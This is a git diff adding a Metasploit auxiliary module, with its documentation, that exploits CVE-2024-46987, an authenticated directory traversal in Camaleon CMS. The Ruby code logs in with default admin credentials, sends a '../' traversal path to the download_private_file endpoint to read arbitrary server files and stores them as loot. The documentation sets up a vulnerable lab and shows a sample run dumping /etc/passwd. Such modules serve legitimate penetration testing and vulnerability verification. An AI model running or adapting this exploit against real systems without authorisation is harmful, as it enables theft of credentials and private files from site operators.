diff --git a/documentation/modules/auxiliary/gather/camaleon_download_private_file.md b/documentation/modules/auxiliary/gather/camaleon_download_private_file.md new file mode 100644 index 0000000000..c285613e7c --- /dev/null +++ b/documentation/modules/auxiliary/gather/camaleon_download_private_file.md @@ -0,0 +1,216 @@ +## Vulnerable Application + +This module attempts to read files from an authenticated directory traversal vuln in Camaleon CMS versions <= 2.8.0 and version 2.9.0. + +CVE-2024-46987 mistakenly indicates that versions 2.8.1 and 2.8.2 are also vulnerable, however this is not the case. + +## Setup + +See [Camaleon CMS](https://github.com/owen2345/camaleon-cms) documentation. + +The following describes how to setup Camaleon CMS version 2.8.0 on Ubuntu. + +### Requirements + +- Rails 6.1+ +- PostgreSQL, MySQL 5+ or SQlite +- Ruby 3.0+ +- Imagemagick + +### Install Ruby + +guides.rubyonrails.org/install_ruby_on_rails.html + +~~~bash +sudo apt install build-essential rustc libssl-dev libyaml-dev zlib1g-dev libgmp-dev git curl +~~~ + +### Install Mise + +~~~bash +curl https://mise.run | sh +echo "eval \"\$(~/.local/bin/mise activate)\"" >> ~/.bashrc +source ~/.bashrc +~~~ + +### Install Ruby with Mise + +~~~bash +$ mise use -g ruby@3.0 + +$ ruby --version +ruby 3.0.7p220 ... +~~~ + +### Install Imagemagick + +~~~bash +sudo apt install --no-install-recommends imagemagick +~~~ + +### Install Postgresql + +~~~bash +sudo apt install postgresql +~~~ + +### Install Rails + +~~~bash +$ gem install rails -v 6.1 +~~~ + +#### concurrent-ruby Issue + +Downgrade concurrent-ruby to 1.3.4 + +~~~bash +$ gem list concurrent-ruby +concurrent-ruby (1.3.6) + +$ gem install concurrent-ruby -v 1.3.4 +$ gem uninstall concurrent-ruby -v 1.3.6 + +$ rails --version +Rails 6.1.7.10 +~~~ + +### Create Rails Project + +Run `rails new camaleon_project` + +### Gemfile + +In your Gemfile do the following: + +Replace `gem 'spring'` with `gem 'spring', '4.2.1'` + + +Delete this line to prevent [conflict](https://github.com/owen2345/camaleon-cms/issues/1111): `gem 'sass-rails', '>= 6'` + +Put these lines at the bottom of your Gemfile: + +~~~ +gem 'camaleon_cms', '2.8.0' +gem 'concurrent-ruby', '1.3.4' +~~~ + +### Install Bundle + +From the project directory run `bundle install` + +### Webpacker.yml Issue + +~~~bash +wget -O camaleon_project/config/webpacker.yml https://raw.githubusercontent.com/rails/webpacker/master/lib/install/config/webpacker.yml +~~~ + +### Camaleon CMS Installation + +~~~bash +rails generate camaleon_cms:install +rake camaleon_cms:generate_migrations +rake db:migrate +~~~ + +### Run Rails + +~~~bash +bundle exec rails server -b 0.0.0.0 +~~~ + +Navigate to `http://{ip address}:3000` and enter test under the Name field. + +### Setup Server + +When prompted with the new installation page just enter "test" into the Name field and continue. + +#### Create Unprivileged User (Optional) + +Navigate to `http://{ip address}:3000/admin` - login with the default admin credentials "admin:admin123" + +Then navigate to "Users -> + Add User" and fill out the form. + +## Verification Steps + +1. Do: `use auxiliary/gather/camaleon_download_private_file` +2. Do: `set RHOST [IP]` +3. Do: `run` + +## Options + +### FILEPATH + +The filepath of the file to read. + +### DEPTH + +The number of "../" appended to the filename. Default is 13 + +## Scenarios + +``` +msf > use auxiliary/gather/camaleon_download_private_file +msf auxiliary(gather/camaleon_download_private_file) > set rhost 10.0.0.45 +rhost => 10.0.0.45 +msf auxiliary(gather/camaleon_download_private_file) > set rport 3000 +rport => 3000 +msf auxiliary(gather/camaleon_download_private_file) > set ssl false +ssl => false +msf auxiliary(gather/camaleon_download_private_file) > run +[*] Running module against 10.0.0.45 +[+] /etc/passwd stored as '/home/kali/.msf4/loot/20260411192711_default_10.0.0.45_camaleon.travers_926890.txt' + +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin +systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin +dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false +messagebus:x:101:101::/nonexistent:/usr/sbin/nologin +syslog:x:102:102::/nonexistent:/usr/sbin/nologin +systemd-resolve:x:991:991:systemd Resolver:/:/usr/sbin/nologin +uuidd:x:103:103::/run/uuidd:/usr/sbin/nologin +usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin +tss:x:105:105:TPM software stack,,,:/var/lib/tpm:/bin/false +systemd-oom:x:990:990:systemd Userspace OOM Killer:/:/usr/sbin/nologin +kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin +whoopsie:x:107:109::/nonexistent:/bin/false +dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin +avahi:x:108:111:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin +tcpdump:x:109:112::/nonexistent:/usr/sbin/nologin +sssd:x:110:113:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin +speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false +cups-pk-helper:x:112:114:user for cups-pk-helper service,,,:/nonexistent:/usr/sbin/nologin +fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin +saned:x:113:116::/var/lib/saned:/usr/sbin/nologin +geoclue:x:114:117::/var/lib/geoclue:/usr/sbin/nologin +cups-browsed:x:115:114::/nonexistent:/usr/sbin/nologin +hplip:x:116:7:HPLIP system user,,,:/run/hplip:/bin/false +gnome-remote-desktop:x:988:988:GNOME Remote Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin +polkitd:x:987:987:User for polkitd:/:/usr/sbin/nologin +rtkit:x:117:119:RealtimeKit,,,:/proc:/usr/sbin/nologin +colord:x:118:120:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin +gnome-initial-setup:x:119:65534::/run/gnome-initial-setup/:/bin/false +gdm:x:120:121:Gnome Display Manager:/var/lib/gdm3:/bin/false +nm-openvpn:x:121:122:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin +bittman:x:1000:1000:bittman:/home/bittman:/bin/bash +postgres:x:122:124:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash + +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/gather/camaleon_download_private_file.rb b/modules/auxiliary/gather/camaleon_download_private_file.rb new file mode 100644 index 0000000000..5e90785e42 --- /dev/null +++ b/modules/auxiliary/gather/camaleon_download_private_file.rb @@ -0,0 +1,239 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Camaleon CMS Directory Traversal CVE-2024-46987', + 'Description' => %q{ + Exploits CVE-2024-46987, an authenticated directory traversal + vulnerability in Camaleon CMS versions <= 2.8.0 and 2.9.0 + }, + 'Author' => [ + 'Peter Stockli', # Vulnerability Disclosure + 'Goultarde', # Python Script + 'bootstrapbool', # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'Platform' => 'linux', + 'References' => [ + ['CVE', '2024-46987'], + [ + 'URL', # Advisory + 'https://securitylab.github.com/advisories/GHSL-2024-182_GHSL-2024-186_Camaleon_CMS/' + ], + [ + 'URL', # Python Script + 'https://github.com/Goultarde/CVE-2024-46987' + ], + ], + 'DisclosureDate' => '2024-08-08', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + OptString.new('USERNAME', [true, 'Valid username', 'admin']), + OptString.new('PASSWORD', [true, 'Valid password', 'admin123']), + OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), + OptString.new('TARGETURI', [false, 'The Camaleon CMS base path']), + OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ]), + OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]) + ] + ) + end + + def build_traversal_path(filepath, depth) + if depth == 0 + return filepath + end + + # Remove C:\ prefix if present (path traversal doesn't work with drive letters) + normalized_path = filepath.gsub(/^[A-Z]:\\/, '').gsub(/^[A-Z]:/, '') + + traversal = '../' * depth + + if normalized_path[0] == '/' + return "#{traversal[0..-2]}#{normalized_path}" + end + + "#{traversal}#{normalized_path}" + end + + def get_token(login_uri) + res = send_request_cgi({ 'uri' => login_uri, 'keep_cookies' => true }) + + return nil unless res && res.code == 200 + + match = res.body.match(/name="authenticity_token" value="([^"]+)"/) + + return match ? match[1] : nil + end + + def authenticate(username, password) + login_uri = normalize_uri(target_uri.path, 'admin/login') + + vprint_status("Retrieving token from #{login_uri}") + + token = get_token(login_uri) + + if token.nil? || cookie_jar.empty? + fail_with(Failure::UnexpectedReply, 'Failed to retrieve token') + end + + vprint_status("Retrieved token #{token}") + vprint_status("Authenticating to #{login_uri}") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => login_uri, + 'keep_cookies' => true, + 'vars_post' => { + 'authenticity_token' => token, + 'user[username]' => username, + 'user[password]' => password + } + }) + + unless res && res.code == 302 + fail_with(Failure::NoAccess, 'Authentication failed') + end + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin/dashboard') + ) + + if res.body.downcase.include?('logout') + vprint_status('Authentication succeeded') + return + end + + fail_with(Failure::NoAccess, 'Authentication failed') + end + + def get_version + vprint_status('Attempting to get build number') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin/dashboard') + ) + + return nil unless res && res.code == 200 + + html = res.get_html_document + + version_div = html.css('div.pull-right').find do |div| + div.at_css('b') && div.at_css('b').text.strip == 'Version' + end + + if version_div + match = version_div.text.strip.match(/Version\s*(\S+)/) + return match[1] if match + end + end + + def vuln_version?(version) + print_status("Detected build version is #{version}") + + if version == '2.9.0' || Rex::Version.new(version) < Rex::Version.new('2.8.1') + print_status('Version is vulnerable') + return true + end + + print_warning('Version is not vulnerable') + false + end + + def get_file(filepath) + filepath = build_traversal_path(filepath, datastore['DEPTH']) + + lfi_uri = normalize_uri( + target_uri.path, + 'admin/media/download_private_file' + ) + + vprint_status("Attempting to retrieve file #{filepath} from #{lfi_uri}") + + res = send_request_cgi({ + 'uri' => lfi_uri, + 'vars_get' => { + 'file' => filepath + }, + 'encode_params' => false + }) + + if res + if res.code == 404 + return nil + end + + if res.body.downcase.include?('invalid file') + return nil + end + + vprint_good('Successfully retrieved file') + return res.body + end + end + + def run + cookie_jar.clear + + authenticate(datastore['USERNAME'], datastore['PASSWORD']) + + res = get_file(datastore['FILEPATH']) + + if res.nil? || res == false || !res.is_a?(String) + fail_with(Failure::PayloadFailed, 'Failed to obtain file') + end + + if datastore['STORE_LOOT'] + path = store_loot( + 'camaleon.traversal', + 'text/plain', + datastore['RHOST'], + res, + datastore['FILEPATH'] + ) + print_good("#{datastore['FILEPATH']} stored as '#{path}'") + end + + print_line + print_line(res) + end + + def check + cookie_jar.clear + + authenticate(datastore['USERNAME'], datastore['PASSWORD']) + + version = get_version + + if version.nil? + return Exploit::CheckCode::Unknown('Failed to get build version') + elsif vuln_version?(version) != true + return Exploit::CheckCode::Safe + end + + res = get_file(datastore['FILEPATH']) + + if res.nil? || res == false || !res.is_a?(String) + print_error('Failed to obtain file') + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Vulnerable + end +end